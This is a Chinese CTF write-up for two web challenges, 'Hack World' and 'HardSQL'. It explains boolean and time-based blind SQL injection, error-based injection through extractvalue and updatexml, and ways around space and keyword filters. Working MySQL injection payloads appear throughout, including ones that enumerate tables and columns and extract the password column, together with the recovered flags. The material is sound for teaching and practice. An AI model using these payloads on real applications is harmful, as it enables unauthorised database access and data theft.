[CISCN2019 华北赛区 Day2 Web1]Hack World
sql盲注
- 有时候,开发人员不会把数据库报错信息显示在前端页面,这样就使我们想要通过union注入或报错注入的攻击方式难以实现。
当不显示报错信息的时候,我们还可以通过盲注的方式来对数据库进行注入攻击。
盲注又分为两种,布尔型盲注和时间型盲注。
布尔型盲注
- 通过注入不同的内容,得到返回显示不同(没有其他任何信息)来判断真假
- 要点就是通过不停发送数据包,对结果进行真假判断,从而得到正确结果
布尔型盲注会利用到数据库中的一些表达式:
length() :字符串长度
substr():截取字符串
ascii():字符串的ascii编码
字符串长度确认
a.1' and length(database())=1--+
对当前数据库名的字符串长度进行确认,只有当最后的长度为正确长度时候,页面就会返回id=1时候的正确页面。类似于1’ and 1=1–+
对字符进行确认
知道长度之后,就需要对字符进行确认,实际上原理都一样
1' and substr(database(),1,1)='a'--+
通过database()这个表达式表现数据库名,然后从左起第1位开始截取1个字符,以此类推,直到得到所有结果为止。
时间型盲注
时间型盲注就是在布尔型盲注的基础上增加了时间的判断。
时间盲注的关键函数是if(),sleep(),通过对布尔型注入的判断,辅以时间延迟的方法,来最终获得注入结果。
例:
1' and if(length(database())=1,sleep(5),1)%23
if(length(database())>1,sleep(5),1)
如果数据库名字符长度大于1为真,则mysql休眠5秒,否则查询1。
判定的方法就是根据请求响应的时间来判定
绕过空格检测的方法
1.通过注释绕过空格
注释即/**/
通过注释取代空格
eg: or//‘me’//=/**/‘isme’
2.通过括号绕过空格
eg: and(1=0)
题解
提示了存在flag表与flag列,先输入1
再测试2:
在判断数值型和字符型注入时,可以通过提交数学式的方式,例如:id=2/2,字符型返回id=2的内容,数字型则返回id=1的结果。
输入2/2判断注入类型:
在这里得到正常回显,猜测为数字型的盲注
使用length()方法测试:
(length(database())>4)
得到正常回显,即为1的结果:
当尝试<4时:
(length(database())<4)
判断为数字型的布尔盲注
给出了表名列名,可以直接构造payload读取flag
id=(ascii(substr((select(flag)from(flag)),0,1))<120)
可以成功,估算flag的长度为50,使用二分法盲注的Python3脚本爆出flag
[极客大挑战 2019]HardSQL
报错注入
报错注入在没法用union联合查询时用,但前提还是不能过滤一些关键的函数。
报错注入就是利用了数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。
xpath语法错误
利用xpath语法错误来进行报错注入主要利用extractvalue和updatexml两个函数。
使用条件:mysql版本>5.1.5
extractvalue函数
payload:id='and(select extractvalue("anything",concat('~',(select语句))))
针对mysql数据库:
例如
id='and(select extractvalue(1,concat('~',(select database()))))
id='and(select extractvalue(1,concat(0x7e,@@version)))
查数据库名:id='and(select extractvalue(1,concat(0x7e,(select database()))))
爆表名:id='and(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))))
爆字段名:id='and(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=“TABLE_NAME”))))
爆数据:id='and(select extractvalue(1,concat(0x7e,(select group_concat(COIUMN_NAME) from TABLE_NAME))))
注:
① 0x7e=’~’
② concat(‘a’,‘b’)=“ab”
③ version()=@@version
④ ‘~‘可以换成’#’、’$'等不满足xpath格式的字符
⑤ extractvalue()能查询字符串的最大长度为32,如果我们想要的结果超过32,就要用substring()函数截取或limit分页,一次查看最多32位
updatexml函数
payload:id='and(select updatexml("anything",concat('~',(select语句())),"anything"))
与extractvalue函数一样
详细请见sql注入之报错注入
应用
- =用like代替
- and用^代替
- 空格用()代替
查数据库,注入
?username=admin&password=admin'^updatexml(1,concat(0x7e,(select(database()))))%23
发现updatexml()函数不能用,我们可以用 extractvalue() 代替 updatexml() 注入
?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(database()))))%23
爆出数据库geek,继续我们查表名,注入
?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like('geek')))))%23
爆出表名H4rDsq1,我们继续查字段名,注入
?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))))%23
得到字段名id,username,password,接着我们查password里面的数据,注入
?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(group_concat(concat_ws(0x23,password)))from(geek.H4rDsq1))))%23
得到flag{d47eea54-c6a4-4932-b47a-61,仔细看,flag只有一半,我们用right()函数再继续查,注入
?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(group_concat(concat_ws(0x23,right(password,30))))from(geek.H4rDsq1))))%23
得到另一半flag4-c6a4-4932-b47a-61153560fead}